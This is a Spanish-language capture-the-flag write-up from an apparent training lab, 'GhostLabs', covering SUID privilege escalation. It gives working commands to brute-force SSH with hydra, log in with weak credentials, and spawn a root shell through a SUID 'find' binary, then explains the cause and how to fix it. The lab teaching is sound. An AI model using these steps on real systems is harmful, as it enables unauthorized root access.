GhostLabs logo

GhostLabs

red team operations  ::  offensive security
⚠ write-up — suid privesc
⚠   SPOILER — Lee esto solo después de intentar resolver el laboratorio   ⚠
Laboratorio
SUID PRIVESC
Dificultad
★★☆☆☆   Fácil (2 pts)
Servicio expuesto
SSH — Puerto 2222
Vector principal
SUID Misconfiguration

Objetivo

Obtener acceso root al sistema y leer el contenido de /root/flag.txt. El punto de entrada es un servicio SSH con credenciales débiles.

Solución paso a paso

1
Reconocimiento

Escaneamos el objetivo con nmap para identificar servicios activos:

nmap -sV -p 2222 <LAB_IP>

# Output esperado:
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian

Vemos el puerto 2222 (SSH) abierto.

2
Fuerza bruta SSH

El puerto 2222 acepta autenticación por contraseña. Lanzamos hydra contra el usuario ghost:

hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4

Credenciales encontradas:

[2222][ssh] host: <LAB_IP>   login: ghost   password: ghost123
3
Acceso inicial — SSH

Nos conectamos por SSH con las credenciales encontradas:

ssh ghost@<LAB_IP> -p 2222
# Password: ghost123
⚠️ Si has usado otra máquina GhostLabs antes (misma IP 172.17.0.x), SSH mostrará el error WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED. Elimina la clave antigua y vuelve a conectar:
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'
ssh ghost@<LAB_IP> -p 2222

Ya tenemos una shell con usuario no privilegiado. Verificamos:

whoami
# ghost

id
# uid=1000(ghost) gid=1000(ghost) groups=1000(ghost)
4
Enumeración de binarios SUID

Buscamos binarios con el bit SUID activado:

find / -perm -4000 -type f 2>/dev/null

Entre los resultados veremos algo inusual:

/usr/bin/find   ← SUID activo
/usr/bin/passwd
/usr/bin/newgrp
/bin/su
...

El binario /usr/bin/find tiene el bit SUID activo, lo que significa que se ejecuta como root independientemente del usuario que lo invoque.

5
Explotación del SUID

Consultamos GTFOBins — find SUID para ver cómo explotar este binario.

El truco es usar el parámetro -exec para ejecutar comandos como root:

/usr/bin/find . -exec /bin/sh -p \; -quit

El flag -p indica a sh que no descarte los privilegios del SUID. Ahora tenemos una shell como root:

whoami
root
6
Captura de la flag
cat /root/flag.txt
Flag
GhostLabs{5u1d_f1nd_2_r00t_0wn3d}

¿Por qué funciona?

Cuando un binario tiene el bit SUID activo (-rwsr-xr-x), el sistema operativo lo ejecuta con los permisos del propietario del fichero (root en este caso) en lugar del usuario que lo lanza.

find permite ejecutar comandos arbitrarios con -exec. Esto, combinado con el SUID, permite ejecución arbitraria como root. Es un vector de escalada de privilegios muy común en entornos mal configurados.

Remediación

# Quitar el bit SUID de find
chmod u-s /usr/bin/find

# Verificar que no quedan binarios peligrosos con SUID
find / -perm -4000 -type f 2>/dev/null

Regla general: ningún binario estándar del sistema debería tener SUID salvo los estrictamente necesarios (passwd, sudo, ping...).

Recursos